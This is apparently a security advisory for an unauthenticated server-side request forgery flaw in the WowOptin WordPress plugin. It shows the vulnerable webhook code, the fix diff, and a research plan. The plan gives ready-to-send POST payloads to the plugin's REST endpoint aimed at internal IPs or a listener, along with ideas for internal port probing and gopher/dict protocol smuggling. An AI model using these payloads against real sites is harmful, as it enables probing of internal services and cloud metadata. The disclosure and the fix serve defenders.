WowOptin: Next-Gen Popup Maker <= 1.4.29 - Unauthenticated Server-Side Request Forgery via 'link' Parameter in REST API
Description
The WowOptin: Next-Gen Popup Maker plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.4.29. This is due to the plugin exposing a publicly accessible REST API endpoint (optn/v1/integration-action) with a permission_callback of __return_true that passes user-supplied URLs directly to wp_remote_get() and wp_remote_post() in the Webhook::add_subscriber() method without any URL validation or restriction. The plugin does not use wp_safe_remote_get/post which provide built-in SSRF protection. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application, which can be used to query and modify information from internal services.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.4.30
Source Code
WordPress.org SVN# Research Plan: SSRF in WowOptin via `link` Parameter ## 1. Vulnerability Summary The **WowOptin** plugin (<= 1.4.29) contains an unauthenticated Server-Side Request Forgery (SSRF) vulnerability. The plugin registers a public REST API endpoint `optn/v1/integration-action` with a `permission_callba…
Show full research plan
Research Plan: SSRF in WowOptin via link Parameter
1. Vulnerability Summary
The WowOptin plugin (<= 1.4.29) contains an unauthenticated Server-Side Request Forgery (SSRF) vulnerability. The plugin registers a public REST API endpoint optn/v1/integration-action with a permission_callback of __return_true. This endpoint allows users to trigger integration actions. When the integration type is set to webhook, the plugin passes a user-supplied URL (via the link parameter) directly to wp_remote_get() or wp_remote_post() without validation or restriction. Because it uses standard WordPress remote functions instead of wp_safe_remote_get/post, it can be used to probe internal services or cloud metadata endpoints.
2. Attack Vector Analysis
- Endpoint:
/wp-json/optn/v1/integration-action - Method:
POST - Authentication: Unauthenticated (Publicly accessible via
__return_true). - Vulnerable Parameter:
link(the destination URL). - Control Parameters:
integration: Must be set towebhookto route to the vulnerable class.reqType: Controls the HTTP method of the SSRF (GETorPOST).fields: Data passed as query arguments (GET) or JSON body (POST).conv_id: An integer ID required to satisfy theadd_leadlogic after the request.
3. Code Flow
- Entry Point: An unauthenticated
POSTrequest is sent to the REST API routeoptn/v1/integration-action. - REST Controller: The REST handler (likely
admin/rest/class-rest-integration.php) identifies the integration type aswebhookfrom the request data. - Class Instantiation: The plugin instantiates
OPTN\Includes\Integrations\Implementations\Webhook. - Sink Call: The controller calls
Webhook::add_subscriber($data), passing the request parameters. - Request Execution (
includes/integrations/implementations/class-webhook.php):- If
$data['reqType'] === 'GET', the plugin calls:$url = add_query_arg( $data['fields'], $data['link'] ); $res = wp_remote_get( $url, array( 'timeout' => 45 ) ); - If
$data['reqType'] === 'POST', the plugin calls:$res = wp_remote_post( $data['link'], array( 'method' => 'POST', 'headers' => array( 'Content-Type' => 'application/json; charset=utf-8' ), 'body' => wp_json_encode( $data['fields'] ), 'timeout' => 45, ));
- If
- Persistence (Side Effect): If the request succeeds,
add_lead($data)is called, which writes thefieldsandconv_idto the database via$this->db->add_lead().
4. Nonce Acquisition Strategy
According to the vulnerability description, the endpoint optn/v1/integration-action uses permission_callback => __return_true.
In WordPress REST API architecture:
- When
permission_callbackis__return_true, no authentication is checked. - For unauthenticated users, WordPress does not enforce CSRF nonce (
X-WP-Nonce) checks on REST API endpoints. - Therefore, no nonce acquisition is required for the primary exploitation path.
If the environment were to strictly require a nonce (unlikely for this specific bug), one could be found by navigating to any page where the WowOptin scripts are loaded (e.g., a page with an active popup) and reading the localized script data, but the unauthenticated nature of the permission_callback makes this unnecessary.
5. Exploitation Strategy
Goal: Trigger an SSRF to an internal service or external listener.
HTTP Request (Using http_request tool)
We will target a mock internal service or an external listener to confirm the request is made.
Payload for GET SSRF:
POST /wp-json/optn/v1/integration-action HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{
"integration": "webhook",
"link": "http://BURP_COLLABORATOR_OR_INTERNAL_IP/path",
"reqType": "GET",
"fields": {
"email": "victim@example.com",
"internal_cmd": "status"
},
"conv_id": 1337
}
Payload for POST SSRF (Internal JSON API):
POST /wp-json/optn/v1/integration-action HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{
"integration": "webhook",
"link": "http://127.0.0.1:80/wp-admin/admin-ajax.php",
"reqType": "POST",
"fields": {
"email": "victim@example.com",
"action": "some_vulnerable_ajax_action"
},
"conv_id": 1337
}
6. Test Data Setup
No complex setup is required because the vulnerability is in a publicly accessible REST API.
- Ensure the WowOptin plugin is installed and activated.
- No specific popups or forms need to be created, as the
Webhookimplementation is called directly via the REST route.
7. Expected Results
- The server should respond with a
200 OKor201 Created. - The
Webhook::add_subscribermethod returnstrueif!is_wp_error($res), so the REST response should indicate success. - If the target
linkis an external listener, an incoming request should be observed. - The request should originate from the WordPress server's IP.
- The
User-Agentwill typically beWordPress/[version]; [site_url].
8. Verification Steps
After sending the HTTP request, verify that the "lead" was recorded in the database, confirming the code path was fully executed:
# Check the leads table to see if the SSRF attempt was logged
wp db query "SELECT * FROM \$(wp db prefix --allow-root)optn_leads WHERE conv_id = 1337;" --allow-root
(Note: The table name optn_leads is inferred from the class usage of $this->db->add_lead() and the plugin slug optin.)
9. Alternative Approaches
- Port Probing: Iterate the
linkparameter withhttp://127.0.0.1:[PORT]and observe response times or status codes to map internal services. - Protocol Smuggling: Attempt other protocols supported by
curl(if the underlying PHP environment supports them) likegopher://ordict://, thoughwp_remote_getusually limits protocols to HTTP/HTTPS. - Bypassing
fieldslogic: If the plugin'sUtils::extract_nameorUtils::sanitize_json_arraythrows errors, simplify thefieldsobject to an empty array{}.
Summary
The WowOptin plugin for WordPress is vulnerable to unauthenticated Server-Side Request Forgery (SSRF) via its REST API. The 'optn/v1/integration-action' endpoint allows users to trigger a 'webhook' integration that passes a user-supplied 'link' parameter directly to wp_remote_get() or wp_remote_post() without validation, allowing attackers to probe internal services.
Vulnerable Code
// includes/integrations/implementations/class-webhook.php:31 public function add_subscriber( $data ): bool { $res = null; if ( 'GET' === $data['reqType'] ) { $url = add_query_arg( $data['fields'], $data['link'] ); $res = wp_remote_get( $url, array( 'timeout' => 45, ) ); } elseif ( 'POST' === $data['reqType'] ) { $res = wp_remote_post( $data['link'], array( 'method' => 'POST', 'headers' => array( 'Content-Type' => 'application/json; charset=utf-8' ), 'body' => wp_json_encode( $data['fields'] ), 'timeout' => 45, ) ); }
Security Fix
@@ -31,26 +31,43 @@ */ public function add_subscriber( $data ): bool { + if ( empty( $data['link'] ) || empty( $data['reqType'] ) ) { + return false; + } + + $url = wp_http_validate_url( esc_url_raw( $data['link'] ) ); + + if ( false === $url ) { + return false; + } + $res = null; if ( 'GET' === $data['reqType'] ) { - $url = add_query_arg( $data['fields'], $data['link'] ); - $res = wp_remote_get( + $url = add_query_arg( is_array( $data['fields'] ) ? $data['fields'] : array(), $url ); + + if ( false === wp_http_validate_url( $url ) ) { + return false; + } + + $res = wp_safe_remote_get( $url, array( 'timeout' => 45, ) ); } elseif ( 'POST' === $data['reqType'] ) { - $res = wp_remote_post( - $data['link'], + $res = wp_safe_remote_post( + $url, array( 'method' => 'POST', 'headers' => array( 'Content-Type' => 'application/json; charset=utf-8' ), - 'body' => wp_json_encode( $data['fields'] ), + 'body' => wp_json_encode( isset( $data['fields'] ) && is_array( $data['fields'] ) ? $data['fields'] : array() ), 'timeout' => 45, ) ); + } else { + return false; }
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker can send a POST request to the WordPress REST API endpoint '/wp-json/optn/v1/integration-action'. The JSON payload must include 'integration' set to 'webhook', a 'reqType' of either 'GET' or 'POST', and the 'link' parameter set to the target internal or external URL. Because the plugin uses a permission_callback that always returns true and employs wp_remote_get/post instead of wp_safe_remote_get/post, the WordPress server will execute the request to the attacker-specified URL, allowing for port scanning of the local network or access to sensitive internal metadata services.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.